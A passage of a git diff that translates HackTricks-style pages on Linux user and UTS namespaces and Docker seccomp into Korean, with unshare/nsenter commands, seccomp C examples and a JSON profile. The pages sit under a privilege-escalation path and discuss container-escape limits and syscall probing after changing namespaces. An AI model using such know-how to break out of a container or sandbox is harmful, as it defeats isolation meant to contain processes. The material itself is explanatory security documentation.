기능으로, 각 사용자 네임스페이스가 **자신만의 사용자 및 그룹 ID 세트를 가질 수 있도록** 합니다. 이 격리는 서로 다른 사용자 네임스페이스에서 실행되는 프로세스가 **숫자적으로 동일한 사용자 및 그룹 ID를 공유하더라도 서로 다른 권한과 소유권을 가질 수 있게** 합니다. -User namespaces are particularly useful in containerization, where each container should have its own independent set of user and group IDs, allowing for better security and isolation between containers and the host system. +사용자 네임스페이스는 특히 컨테이너화에서 유용하며, 각 컨테이너는 독립적인 사용자 및 그룹 ID 세트를 가져야 하므로 컨테이너와 호스트 시스템 간의 보안 및 격리를 개선할 수 있습니다. ### How it works: -1. When a new user namespace is created, it **starts with an empty set of user and group ID mappings**. This means that any process running in the new user namespace will **initially have no privileges outside of the namespace**. -2. ID mappings can be established between the user and group IDs in the new namespace and those in the parent (or host) namespace. This **allows processes in the new namespace to have privileges and ownership corresponding to user and group IDs in the parent namespace**. However, the ID mappings can be restricted to specific ranges and subsets of IDs, allowing for fine-grained control over the privileges granted to processes in the new namespace. -3. Within a user namespace, **processes can have full root privileges (UID 0) for operations inside the namespace**, while still having limited privileges outside the namespace. This allows **containers to run with root-like capabilities within their own namespace without having full root privileges on the host system**. -4. Processes can move between namespaces using the `setns()` system call or create new namespaces using the `unshare()` or `clone()` system calls with the `CLONE_NEWUSER` flag. When a process moves to a new namespace or creates one, it will start using the user and group ID mappings associated with that namespace. +1. 새로운 사용자 네임스페이스가 생성되면, **빈 사용자 및 그룹 ID 매핑 세트로 시작합니다**. 이는 새로운 사용자 네임스페이스에서 실행되는 모든 프로세스가 **초기에는 네임스페이스 외부에서 권한이 없음을 의미합니다**. +2. ID 매핑은 새로운 네임스페이스의 사용자 및 그룹 ID와 부모(또는 호스트) 네임스페이스의 ID 간에 설정될 수 있습니다. 이는 **새로운 네임스페이스의 프로세스가 부모 네임스페이스의 사용자 및 그룹 ID에 해당하는 권한과 소유권을 가질 수 있게** 합니다. 그러나 ID 매핑은 특정 범위와 ID의 하위 집합으로 제한될 수 있어, 새로운 네임스페이스의 프로세스에 부여된 권한에 대한 세밀한 제어가 가능합니다. +3. 사용자 네임스페이스 내에서, **프로세스는 네임스페이스 내에서의 작업에 대해 전체 루트 권한(UID 0)을 가질 수 있으며**, 여전히 네임스페이스 외부에서는 제한된 권한을 가집니다. 이는 **컨테이너가 호스트 시스템에서 전체 루트 권한을 가지지 않고도 자신의 네임스페이스 내에서 루트와 유사한 기능을 수행할 수 있게** 합니다. +4. 프로세스는 `setns()` 시스템 호출을 사용하여 네임스페이스 간에 이동하거나, `unshare()` 또는 `clone()` 시스템 호출을 사용하여 `CLONE_NEWUSER` 플래그와 함께 새로운 네임스페이스를 생성할 수 있습니다. 프로세스가 새로운 네임스페이스로 이동하거나 생성할 때, 해당 네임스페이스와 연결된 사용자 및 그룹 ID 매핑을 사용하기 시작합니다. ## Lab: ### Create different Namespaces #### CLI - ```bash sudo unshare -U [--mount-proc] /bin/bash ``` - -By mounting a new instance of the `/proc` filesystem if you use the param `--mount-proc`, you ensure that the new mount namespace has an **accurate and isolated view of the process information specific to that namespace**. +새로운 인스턴스의 `/proc` 파일 시스템을 마운트하면 `--mount-proc` 매개변수를 사용하여 새로운 마운트 네임스페이스가 **해당 네임스페이스에 특정한 프로세스 정보에 대한 정확하고 격리된 뷰를 갖도록** 보장합니다.
-Error: bash: fork: Cannot allocate memory +오류: bash: fork: 메모리를 할당할 수 없습니다 -When `unshare` is executed without the `-f` option, an error is encountered due to the way Linux handles new PID (Process ID) namespaces. The key details and the solution are outlined below: +`unshare`가 `-f` 옵션 없이 실행될 때, Linux가 새로운 PID(프로세스 ID) 네임스페이스를 처리하는 방식 때문에 오류가 발생합니다. 주요 세부사항과 해결책은 아래에 설명되어 있습니다: -1. **Problem Explanation**: +1. **문제 설명**: - - The Linux kernel allows a process to create new namespaces using the `unshare` system call. However, the process that initiates the creation of a new PID namespace (referred to as the "unshare" process) does not enter the new namespace; only its child processes do. - - Running `%unshare -p /bin/bash%` starts `/bin/bash` in the same process as `unshare`. Consequently, `/bin/bash` and its child processes are in the original PID namespace. - - The first child process of `/bin/bash` in the new namespace becomes PID 1. When this process exits, it triggers the cleanup of the namespace if there are no other processes, as PID 1 has the special role of adopting orphan processes. The Linux kernel will then disable PID allocation in that namespace. +- Linux 커널은 프로세스가 `unshare` 시스템 호출을 사용하여 새로운 네임스페이스를 생성할 수 있도록 허용합니다. 그러나 새로운 PID 네임스페이스를 생성하는 프로세스(이를 "unshare" 프로세스라고 함)는 새로운 네임스페이스에 들어가지 않으며, 오직 그 자식 프로세스만 들어갑니다. +- `%unshare -p /bin/bash%`를 실행하면 `/bin/bash`가 `unshare`와 동일한 프로세스에서 시작됩니다. 결과적으로 `/bin/bash`와 그 자식 프로세스는 원래 PID 네임스페이스에 있습니다. +- 새로운 네임스페이스에서 `/bin/bash`의 첫 번째 자식 프로세스는 PID 1이 됩니다. 이 프로세스가 종료되면, 다른 프로세스가 없을 경우 네임스페이스의 정리가 트리거됩니다. PID 1은 고아 프로세스를 입양하는 특별한 역할을 가지고 있습니다. 그러면 Linux 커널은 해당 네임스페이스에서 PID 할당을 비활성화합니다. -2. **Consequence**: +2. **결과**: - - The exit of PID 1 in a new namespace leads to the cleaning of the `PIDNS_HASH_ADDING` flag. This results in the `alloc_pid` function failing to allocate a new PID when creating a new process, producing the "Cannot allocate memory" error. +- 새로운 네임스페이스에서 PID 1의 종료는 `PIDNS_HASH_ADDING` 플래그의 정리를 초래합니다. 이로 인해 새로운 프로세스를 생성할 때 `alloc_pid` 함수가 새로운 PID를 할당하지 못하게 되어 "메모리를 할당할 수 없습니다" 오류가 발생합니다. -3. **Solution**: - - The issue can be resolved by using the `-f` option with `unshare`. This option makes `unshare` fork a new process after creating the new PID namespace. - - Executing `%unshare -fp /bin/bash%` ensures that the `unshare` command itself becomes PID 1 in the new namespace. `/bin/bash` and its child processes are then safely contained within this new namespace, preventing the premature exit of PID 1 and allowing normal PID allocation. +3. **해결책**: +- 이 문제는 `unshare`와 함께 `-f` 옵션을 사용하여 해결할 수 있습니다. 이 옵션은 `unshare`가 새로운 PID 네임스페이스를 생성한 후 새로운 프로세스를 포크하도록 만듭니다. +- `%unshare -fp /bin/bash%`를 실행하면 `unshare` 명령 자체가 새로운 네임스페이스에서 PID 1이 됩니다. 그 결과 `/bin/bash`와 그 자식 프로세스는 이 새로운 네임스페이스 내에서 안전하게 포함되어 PID 1의 조기 종료를 방지하고 정상적인 PID 할당을 허용합니다. -By ensuring that `unshare` runs with the `-f` flag, the new PID namespace is correctly maintained, allowing `/bin/bash` and its sub-processes to operate without encountering the memory allocation error. +`unshare`가 `-f` 플래그와 함께 실행되도록 보장함으로써 새로운 PID 네임스페이스가 올바르게 유지되며, `/bin/bash`와 그 하위 프로세스가 메모리 할당 오류 없이 작동할 수 있습니다.
#### Docker - ```bash docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash ``` +사용자 네임스페이스를 사용하려면 Docker 데몬을 **`--userns-remap=default`**로 시작해야 합니다(우분투 14.04에서는 `/etc/default/docker`를 수정한 후 `sudo service docker restart`를 실행하여 수행할 수 있습니다). -To use user namespace, Docker daemon needs to be started with **`--userns-remap=default`**(In ubuntu 14.04, this can be done by modifying `/etc/default/docker` and then executing `sudo service docker restart`) - -### Check which namespace is your process in - +### 프로세스가 어떤 네임스페이스에 있는지 확인하기 ```bash ls -l /proc/self/ns/user lrwxrwxrwx 1 root root 0 Apr 4 20:57 /proc/self/ns/user -> 'user:[4026531837]' ``` - -It's possible to check the user map from the docker container with: - +docker 컨테이너에서 사용자 맵을 확인하는 것은 다음과 같이 가능합니다: ```bash cat /proc/self/uid_map - 0 0 4294967295 --> Root is root in host - 0 231072 65536 --> Root is 231072 userid in host +0 0 4294967295 --> Root is root in host +0 231072 65536 --> Root is 231072 userid in host ``` - -Or from the host with: - +호스트에서: ```bash cat /proc//uid_map ``` - -### Find all User namespaces - +### 모든 사용자 네임스페이스 찾기 ```bash sudo find /proc -maxdepth 3 -type l -name user -exec readlink {} \; 2>/dev/null | sort -u # Find the processes with an specific namespace sudo find /proc -maxdepth 3 -type l -name user -exec ls -l {} \; 2>/dev/null | grep ``` - -### Enter inside a User namespace - +### 사용자 네임스페이스 내부로 들어가기 ```bash nsenter -U TARGET_PID --pid /bin/bash ``` +또한, **루트일 경우에만 다른 프로세스 네임스페이스에 들어갈 수 있습니다**. 그리고 **디스크립터**가 없으면 **다른 네임스페이스에 들어갈 수 없습니다** (예: `/proc/self/ns/user`). -Also, you can only **enter in another process namespace if you are root**. And you **cannot** **enter** in other namespace **without a descriptor** pointing to it (like `/proc/self/ns/user`). - -### Create new User namespace (with mappings) - +### 새로운 사용자 네임스페이스 생성 (매핑 포함) ```bash unshare -U [--map-user=|] [--map-group=|] [--map-root-user] [--map-current-user] ``` @@ -111,16 +96,14 @@ nobody@ip-172-31-28-169:/home/ubuntu$ #Check how the user is nobody ps -ef | grep bash # The user inside the host is still root, not nobody root 27756 27755 0 21:11 pts/10 00:00:00 /bin/bash ``` - ### Recovering Capabilities -In the case of user namespaces, **when a new user namespace is created, the process that enters the namespace is granted a full set of capabilities within that namespace**. These capabilities allow the process to perform privileged operations such as **mounting** **filesystems**, creating devices, or changing ownership of files, but **only within the context of its user namespace**. +사용자 네임스페이스의 경우, **새로운 사용자 네임스페이스가 생성되면, 해당 네임스페이스에 들어가는 프로세스는 그 네임스페이스 내에서 전체 권한 세트를 부여받습니다**. 이러한 권한은 프로세스가 **파일 시스템을 마운트**하거나, 장치를 생성하거나, 파일의 소유권을 변경하는 등의 특권 작업을 수행할 수 있게 해주지만, **오직 자신의 사용자 네임스페이스의 맥락 내에서만** 가능합니다. -For example, when you have the `CAP_SYS_ADMIN` capability within a user namespace, you can perform operations that typically require this capability, like mounting filesystems, but only within the context of your user namespace. Any operations you perform with this capability won't affect the host system or other namespaces. +예를 들어, 사용자 네임스페이스 내에서 `CAP_SYS_ADMIN` 권한을 가지고 있을 때, 파일 시스템을 마운트하는 것과 같이 일반적으로 이 권한이 필요한 작업을 수행할 수 있지만, 오직 자신의 사용자 네임스페이스의 맥락 내에서만 가능합니다. 이 권한으로 수행하는 모든 작업은 호스트 시스템이나 다른 네임스페이스에 영향을 미치지 않습니다. > [!WARNING] -> Therefore, even if getting a new process inside a new User namespace **will give you all the capabilities back** (CapEff: 000001ffffffffff), you actually can **only use the ones related to the namespace** (mount for example) but not every one. So, this on its own is not enough to escape from a Docker container. - +> 따라서, 새로운 사용자 네임스페이스 내에 새로운 프로세스를 생성하는 것이 **모든 권한을 다시 부여받게 할 것입니다** (CapEff: 000001ffffffffff), 실제로는 **네임스페이스와 관련된 권한만 사용할 수 있습니다** (예: 마운트) 하지만 모든 권한을 사용할 수는 없습니다. 따라서, 이것만으로는 Docker 컨테이너에서 탈출하기에 충분하지 않습니다. ```bash # There are the syscalls that are filtered after changing User namespace with: unshare -UmCpf bash @@ -144,5 +127,4 @@ Probando: 0x139 . . . Error Probando: 0x140 . . . Error Probando: 0x141 . . . Error ``` - {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/uts-namespace.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/uts-namespace.md index 62b92742a..94e6981c1 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/uts-namespace.md +++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/uts-namespace.md @@ -4,75 +4,65 @@ ## Basic Information -A UTS (UNIX Time-Sharing System) namespace is a Linux kernel feature that provides i**solation of two system identifiers**: the **hostname** and the **NIS** (Network Information Service) domain name. This isolation allows each UTS namespace to have its **own independent hostname and NIS domain name**, which is particularly useful in containerization scenarios where each container should appear as a separate system with its own hostname. +UTS (UNIX Time-Sharing System) 네임스페이스는 두 개의 시스템 식별자: **호스트 이름**과 **NIS** (Network Information Service) 도메인 이름의 **격리를 제공하는** 리눅스 커널 기능입니다. 이 격리는 각 UTS 네임스페이스가 **자신의 독립적인 호스트 이름과 NIS 도메인 이름**을 가질 수 있게 하며, 이는 각 컨테이너가 자신의 호스트 이름을 가진 별도의 시스템으로 나타나야 하는 컨테이너화 시나리오에서 특히 유용합니다. ### How it works: -1. When a new UTS namespace is created, it starts with a **copy of the hostname and NIS domain name from its parent namespace**. This means that, at creation, the new namespace s**hares the same identifiers as its parent**. However, any subsequent changes to the hostname or NIS domain name within the namespace will not affect other namespaces. -2. Processes within a UTS namespace **can change the hostname and NIS domain name** using the `sethostname()` and `setdomainname()` system calls, respectively. These changes are local to the namespace and do not affect other namespaces or the host system. -3. Processes can move between namespaces using the `setns()` system call or create new namespaces using the `unshare()` or `clone()` system calls with the `CLONE_NEWUTS` flag. When a process moves to a new namespace or creates one, it will start using the hostname and NIS domain name associated with that namespace. +1. 새로운 UTS 네임스페이스가 생성되면, **부모 네임스페이스의 호스트 이름과 NIS 도메인 이름의 복사본**으로 시작합니다. 이는 생성 시 새로운 네임스페이스가 **부모와 동일한 식별자를 공유**함을 의미합니다. 그러나 네임스페이스 내에서 호스트 이름이나 NIS 도메인 이름에 대한 이후의 변경은 다른 네임스페이스에 영향을 미치지 않습니다. +2. UTS 네임스페이스 내의 프로세스는 각각 `sethostname()` 및 `setdomainname()` 시스템 호출을 사용하여 **호스트 이름과 NIS 도메인 이름을 변경할 수 있습니다**. 이러한 변경은 네임스페이스에 국한되며 다른 네임스페이스나 호스트 시스템에 영향을 미치지 않습니다. +3. 프로세스는 `setns()` 시스템 호출을 사용하여 네임스페이스 간에 이동하거나 `unshare()` 또는 `clone()` 시스템 호출을 사용하여 `CLONE_NEWUTS` 플래그와 함께 새로운 네임스페이스를 생성할 수 있습니다. 프로세스가 새로운 네임스페이스로 이동하거나 생성할 때, 해당 네임스페이스와 연결된 호스트 이름과 NIS 도메인 이름을 사용하기 시작합니다. ## Lab: ### Create different Namespaces #### CLI - ```bash sudo unshare -u [--mount-proc] /bin/bash ``` - -By mounting a new instance of the `/proc` filesystem if you use the param `--mount-proc`, you ensure that the new mount namespace has an **accurate and isolated view of the process information specific to that namespace**. +새로운 인스턴스의 `/proc` 파일 시스템을 마운트하면 `--mount-proc` 매개변수를 사용하여 새로운 마운트 네임스페이스가 **해당 네임스페이스에 특정한 프로세스 정보에 대한 정확하고 격리된 뷰를 갖도록** 보장합니다.
-Error: bash: fork: Cannot allocate memory +오류: bash: fork: 메모리를 할당할 수 없습니다 -When `unshare` is executed without the `-f` option, an error is encountered due to the way Linux handles new PID (Process ID) namespaces. The key details and the solution are outlined below: +`unshare`가 `-f` 옵션 없이 실행될 때, Linux가 새로운 PID(프로세스 ID) 네임스페이스를 처리하는 방식 때문에 오류가 발생합니다. 주요 세부사항과 해결책은 아래에 설명되어 있습니다: -1. **Problem Explanation**: +1. **문제 설명**: - - The Linux kernel allows a process to create new namespaces using the `unshare` system call. However, the process that initiates the creation of a new PID namespace (referred to as the "unshare" process) does not enter the new namespace; only its child processes do. - - Running `%unshare -p /bin/bash%` starts `/bin/bash` in the same process as `unshare`. Consequently, `/bin/bash` and its child processes are in the original PID namespace. - - The first child process of `/bin/bash` in the new namespace becomes PID 1. When this process exits, it triggers the cleanup of the namespace if there are no other processes, as PID 1 has the special role of adopting orphan processes. The Linux kernel will then disable PID allocation in that namespace. +- Linux 커널은 프로세스가 `unshare` 시스템 호출을 사용하여 새로운 네임스페이스를 생성할 수 있도록 허용합니다. 그러나 새로운 PID 네임스페이스를 생성하는 프로세스(이를 "unshare" 프로세스라고 함)는 새로운 네임스페이스에 들어가지 않으며, 오직 그 자식 프로세스만 들어갑니다. +- `%unshare -p /bin/bash%`를 실행하면 `/bin/bash`가 `unshare`와 동일한 프로세스에서 시작됩니다. 결과적으로 `/bin/bash`와 그 자식 프로세스는 원래 PID 네임스페이스에 있습니다. +- 새로운 네임스페이스에서 `/bin/bash`의 첫 번째 자식 프로세스는 PID 1이 됩니다. 이 프로세스가 종료되면, 다른 프로세스가 없을 경우 네임스페이스의 정리가 트리거됩니다. PID 1은 고아 프로세스를 입양하는 특별한 역할을 가지고 있습니다. 그러면 Linux 커널은 해당 네임스페이스에서 PID 할당을 비활성화합니다. -2. **Consequence**: +2. **결과**: - - The exit of PID 1 in a new namespace leads to the cleaning of the `PIDNS_HASH_ADDING` flag. This results in the `alloc_pid` function failing to allocate a new PID when creating a new process, producing the "Cannot allocate memory" error. +- 새로운 네임스페이스에서 PID 1의 종료는 `PIDNS_HASH_ADDING` 플래그의 정리를 초래합니다. 이로 인해 새로운 프로세스를 생성할 때 `alloc_pid` 함수가 새로운 PID를 할당하지 못하게 되어 "메모리를 할당할 수 없습니다" 오류가 발생합니다. -3. **Solution**: - - The issue can be resolved by using the `-f` option with `unshare`. This option makes `unshare` fork a new process after creating the new PID namespace. - - Executing `%unshare -fp /bin/bash%` ensures that the `unshare` command itself becomes PID 1 in the new namespace. `/bin/bash` and its child processes are then safely contained within this new namespace, preventing the premature exit of PID 1 and allowing normal PID allocation. +3. **해결책**: +- 이 문제는 `unshare`와 함께 `-f` 옵션을 사용하여 해결할 수 있습니다. 이 옵션은 `unshare`가 새로운 PID 네임스페이스를 생성한 후 새로운 프로세스를 포크하도록 만듭니다. +- `%unshare -fp /bin/bash%`를 실행하면 `unshare` 명령 자체가 새로운 네임스페이스에서 PID 1이 됩니다. 그 결과 `/bin/bash`와 그 자식 프로세스는 이 새로운 네임스페이스 내에서 안전하게 포함되어 PID 1의 조기 종료를 방지하고 정상적인 PID 할당을 허용합니다. -By ensuring that `unshare` runs with the `-f` flag, the new PID namespace is correctly maintained, allowing `/bin/bash` and its sub-processes to operate without encountering the memory allocation error. +`unshare`가 `-f` 플래그와 함께 실행되도록 보장함으로써 새로운 PID 네임스페이스가 올바르게 유지되며, `/bin/bash`와 그 하위 프로세스가 메모리 할당 오류 없이 작동할 수 있습니다.
#### Docker - ```bash docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash ``` - -### Check which namespace is your process in - +### 프로세스가 어떤 네임스페이스에 있는지 확인하기 ```bash ls -l /proc/self/ns/uts lrwxrwxrwx 1 root root 0 Apr 4 20:49 /proc/self/ns/uts -> 'uts:[4026531838]' ``` - -### Find all UTS namespaces - +### 모든 UTS 네임스페이스 찾기 ```bash sudo find /proc -maxdepth 3 -type l -name uts -exec readlink {} \; 2>/dev/null | sort -u # Find the processes with an specific namespace sudo find /proc -maxdepth 3 -type l -name uts -exec ls -l {} \; 2>/dev/null | grep ``` - -### Enter inside an UTS namespace - +### UTS 네임스페이스 내부로 들어가기 ```bash nsenter -u TARGET_PID --pid /bin/bash ``` - {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/docker-security/seccomp.md b/src/linux-hardening/privilege-escalation/docker-security/seccomp.md index 17ec393d2..b5a07ed6f 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/seccomp.md +++ b/src/linux-hardening/privilege-escalation/docker-security/seccomp.md @@ -2,18 +2,17 @@ {{#include ../../../banners/hacktricks-training.md}} -## Basic Information +## 기본 정보 -**Seccomp**, standing for Secure Computing mode, is a security feature of the **Linux kernel designed to filter system calls**. It restricts processes to a limited set of system calls (`exit()`, `sigreturn()`, `read()`, and `write()` for already-open file descriptors). If a process tries to call anything else, it gets terminated by the kernel using SIGKILL or SIGSYS. This mechanism doesn't virtualize resources but isolates the process from them. +**Seccomp**는 Secure Computing mode의 약자로, **시스템 호출을 필터링하기 위해 설계된 Linux 커널의 보안 기능**입니다. 이는 프로세스를 제한된 시스템 호출 집합(`exit()`, `sigreturn()`, `read()`, 및 `write()` 이미 열린 파일 설명자에 대해)으로 제한합니다. 프로세스가 다른 호출을 시도하면 커널에 의해 SIGKILL 또는 SIGSYS로 종료됩니다. 이 메커니즘은 리소스를 가상화하지 않고 프로세스를 이들로부터 격리합니다. -There are two ways to activate seccomp: through the `prctl(2)` system call with `PR_SET_SECCOMP`, or for Linux kernels 3.17 and above, the `seccomp(2)` system call. The older method of enabling seccomp by writing to `/proc/self/seccomp` has been deprecated in favor of `prctl()`. +Seccomp를 활성화하는 방법은 두 가지가 있습니다: `PR_SET_SECCOMP`와 함께 `prctl(2)` 시스템 호출을 사용하거나, Linux 커널 3.17 이상에서는 `seccomp(2)` 시스템 호출을 사용하는 것입니다. `/proc/self/seccomp`에 쓰는 오래된 방법은 `prctl()`을 선호하여 더 이상 사용되지 않습니다. -An enhancement, **seccomp-bpf**, adds the capability to filter system calls with a customizable policy, using Berkeley Packet Filter (BPF) rules. This extension is leveraged by software such as OpenSSH, vsftpd, and the Chrome/Chromium browsers on Chrome OS and Linux for flexible and efficient syscall filtering, offering an alternative to the now unsupported systrace for Linux. +향상된 기능인 **seccomp-bpf**는 Berkeley Packet Filter (BPF) 규칙을 사용하여 사용자 정의 정책으로 시스템 호출을 필터링할 수 있는 기능을 추가합니다. 이 확장은 OpenSSH, vsftpd 및 Chrome OS와 Linux의 Chrome/Chromium 브라우저와 같은 소프트웨어에서 유연하고 효율적인 시스템 호출 필터링을 위해 활용되며, 이제 지원되지 않는 Linux의 systrace에 대한 대안을 제공합니다. -### **Original/Strict Mode** - -In this mode Seccomp **only allow the syscalls** `exit()`, `sigreturn()`, `read()` and `write()` to already-open file descriptors. If any other syscall is made, the process is killed using SIGKILL +### **원본/엄격 모드** +이 모드에서 Seccomp는 **오직 syscalls** `exit()`, `sigreturn()`, `read()` 및 `write()`를 이미 열린 파일 설명자에 대해서만 허용합니다. 다른 syscalls가 발생하면 프로세스는 SIGKILL로 종료됩니다. ```c:seccomp_strict.c #include #include @@ -27,29 +26,27 @@ In this mode Seccomp **only allow the syscalls** `exit()`, `sigreturn()`, `read( int main(int argc, char **argv) { - int output = open("output.txt", O_WRONLY); - const char *val = "test"; +int output = open("output.txt", O_WRONLY); +const char *val = "test"; - //enables strict seccomp mode - printf("Calling prctl() to set seccomp strict mode...\n"); - prctl(PR_SET_SECCOMP, SECCOMP_MODE_STRICT); +//enables strict seccomp mode +printf("Calling prctl() to set seccomp strict mode...\n"); +prctl(PR_SET_SECCOMP, SECCOMP_MODE_STRICT); - //This is allowed as the file was already opened - printf("Writing to an already open file...\n"); - write(output, val, strlen(val)+1); +//This is allowed as the file was already opened +printf("Writing to an already open file...\n"); +write(output, val, strlen(val)+1); - //This isn't allowed - printf("Trying to open file for reading...\n"); - int input = open("output.txt", O_RDONLY); +//This isn't allowed +printf("Trying to open file for reading...\n"); +int input = open("output.txt", O_RDONLY); - printf("You will not see this message--the process will be killed first\n"); +printf("You will not see this message--the process will be killed first\n"); } ``` - ### Seccomp-bpf -This mode allows **filtering of system calls using a configurable policy** implemented using Berkeley Packet Filter rules. - +이 모드는 **버클리 패킷 필터 규칙을 사용하여 구현된 구성 가능한 정책을 사용하여 시스템 호출을 필터링**할 수 있게 해줍니다. ```c:seccomp_bpf.c #include #include @@ -60,99 +57,88 @@ This mode allows **filtering of system calls using a configurable policy** imple //gcc seccomp_bpf.c -o seccomp_bpf -lseccomp void main(void) { - /* initialize the libseccomp context */ - scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL); +/* initialize the libseccomp context */ +scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL); - /* allow exiting */ - printf("Adding rule : Allow exit_group\n"); - seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0); +/* allow exiting */ +printf("Adding rule : Allow exit_group\n"); +seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0); - /* allow getting the current pid */ - //printf("Adding rule : Allow getpid\n"); - //seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(getpid), 0); +/* allow getting the current pid */ +//printf("Adding rule : Allow getpid\n"); +//seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(getpid), 0); - printf("Adding rule : Deny getpid\n"); - seccomp_rule_add(ctx, SCMP_ACT_ERRNO(EBADF), SCMP_SYS(getpid), 0); - /* allow changing data segment size, as required by glibc */ - printf("Adding rule : Allow brk\n"); - seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(brk), 0); +printf("Adding rule : Deny getpid\n"); +seccomp_rule_add(ctx, SCMP_ACT_ERRNO(EBADF), SCMP_SYS(getpid), 0); +/* allow changing data segment size, as required by glibc */ +printf("Adding rule : Allow brk\n"); +seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(brk), 0); - /* allow writing up to 512 bytes to fd 1 */ - printf("Adding rule : Allow write upto 512 bytes to FD 1\n"); - seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 2, - SCMP_A0(SCMP_CMP_EQ, 1), - SCMP_A2(SCMP_CMP_LE, 512)); +/* allow writing up to 512 bytes to fd 1 */ +printf("Adding rule : Allow write upto 512 bytes to FD 1\n"); +seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 2, +SCMP_A0(SCMP_CMP_EQ, 1), +SCMP_A2(SCMP_CMP_LE, 512)); - /* if writing to any other fd, return -EBADF */ - printf("Adding rule : Deny write to any FD except 1 \n"); - seccomp_rule_add(ctx, SCMP_ACT_ERRNO(EBADF), SCMP_SYS(write), 1, - SCMP_A0(SCMP_CMP_NE, 1)); +/* if writing to any other fd, return -EBADF */ +printf("Adding rule : Deny write to any FD except 1 \n"); +seccomp_rule_add(ctx, SCMP_ACT_ERRNO(EBADF), SCMP_SYS(write), 1, +SCMP_A0(SCMP_CMP_NE, 1)); - /* load and enforce the filters */ - printf("Load rules and enforce \n"); - seccomp_load(ctx); - seccomp_release(ctx); - //Get the getpid is denied, a weird number will be returned like - //this process is -9 - printf("this process is %d\n", getpid()); +/* load and enforce the filters */ +printf("Load rules and enforce \n"); +seccomp_load(ctx); +seccomp_release(ctx); +//Get the getpid is denied, a weird number will be returned like +//this process is -9 +printf("this process is %d\n", getpid()); } ``` +## Docker에서의 Seccomp -## Seccomp in Docker - -**Seccomp-bpf** is supported by **Docker** to restrict the **syscalls** from the containers effectively decreasing the surface area. You can find the **syscalls blocked** by **default** in [https://docs.docker.com/engine/security/seccomp/](https://docs.docker.com/engine/security/seccomp/) and the **default seccomp profile** can be found here [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json).\ -You can run a docker container with a **different seccomp** policy with: - +**Seccomp-bpf**는 **Docker**에서 **syscalls**를 제한하여 컨테이너의 표면적을 효과적으로 줄이는 것을 지원합니다. [https://docs.docker.com/engine/security/seccomp/](https://docs.docker.com/engine/security/seccomp/)에서 **기본적으로 차단된 syscalls**를 확인할 수 있으며, **기본 seccomp 프로필**은 [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json)에서 확인할 수 있습니다.\ +다음과 같이 **다른 seccomp** 정책으로 도커 컨테이너를 실행할 수 있습니다: ```bash docker run --rm \ - -it \ - --security-opt seccomp=/path/to/seccomp/profile.json \ - hello-world +-it \ +--security-opt seccomp=/path/to/seccomp/profile.json \ +hello-world ``` - -If you want for example to **forbid** a container of executing some **syscall** like `uname` you could download the default profile from [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json) and just **remove the `uname` string from the list**.\ -If you want to make sure that **some binary doesn't work inside a a docker container** you could use strace to list the syscalls the binary is using and then forbid them.\ -In the following example the **syscalls** of `uname` are discovered: - +컨테이너가 `uname`과 같은 **syscall**을 실행하는 것을 **금지**하려면 [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json)에서 기본 프로파일을 다운로드하고 **목록에서 `uname` 문자열을 제거**하면 됩니다.\ +**어떤 바이너리가 도커 컨테이너 내에서 작동하지 않도록** 하려면 strace를 사용하여 바이너리가 사용하는 syscalls를 나열한 다음 이를 금지할 수 있습니다.\ +다음 예제에서는 `uname`의 **syscalls**가 발견됩니다: ```bash docker run -it --security-opt seccomp=default.json modified-ubuntu strace uname ``` - > [!NOTE] -> If you are using **Docker just to launch an application**, you can **profile** it with **`strace`** and **just allow the syscalls** it needs +> 만약 **애플리케이션을 실행하기 위해 Docker를 사용하는 것이라면**, **`strace`**로 **프로파일링**하고 필요한 시스템 호출만 **허용**할 수 있습니다. -### Example Seccomp policy +### 예제 Seccomp 정책 -[Example from here](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-2docker-engine/) - -To illustrate Seccomp feature, let’s create a Seccomp profile disabling “chmod” system call as below. +[여기에서 예제](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-2docker-engine/) +Seccomp 기능을 설명하기 위해, 아래와 같이 “chmod” 시스템 호출을 비활성화하는 Seccomp 프로파일을 생성해 보겠습니다. ```json { - "defaultAction": "SCMP_ACT_ALLOW", - "syscalls": [ - { - "name": "chmod", - "action": "SCMP_ACT_ERRNO" - } - ] +"defaultAction": "SCMP_ACT_ALLOW", +"syscalls": [ +{ +"name": "chmod", +"action": "SCMP_ACT_ERRNO" +} +] } ``` - -In the above profile, we have set default action to “allow” and created a black list to disable “chmod”. To be more secure, we can set default action to drop and create a white list to selectively enable system calls.\ -Following output shows the “chmod” call returning error because its disabled in the seccomp profile - +위 프로필에서는 기본 동작을 "허용"으로 설정하고 "chmod"를 비활성화하는 블랙리스트를 생성했습니다. 더 안전하게 만들기 위해 기본 동작을 드롭으로 설정하고 시스템 호출을 선택적으로 활성화하는 화이트리스트를 생성할 수 있습니다.\ +다음 출력은 seccomp 프로필에서 비활성화되어 있기 때문에 "chmod" 호출이 오류를 반환하는 것을 보여줍니다. 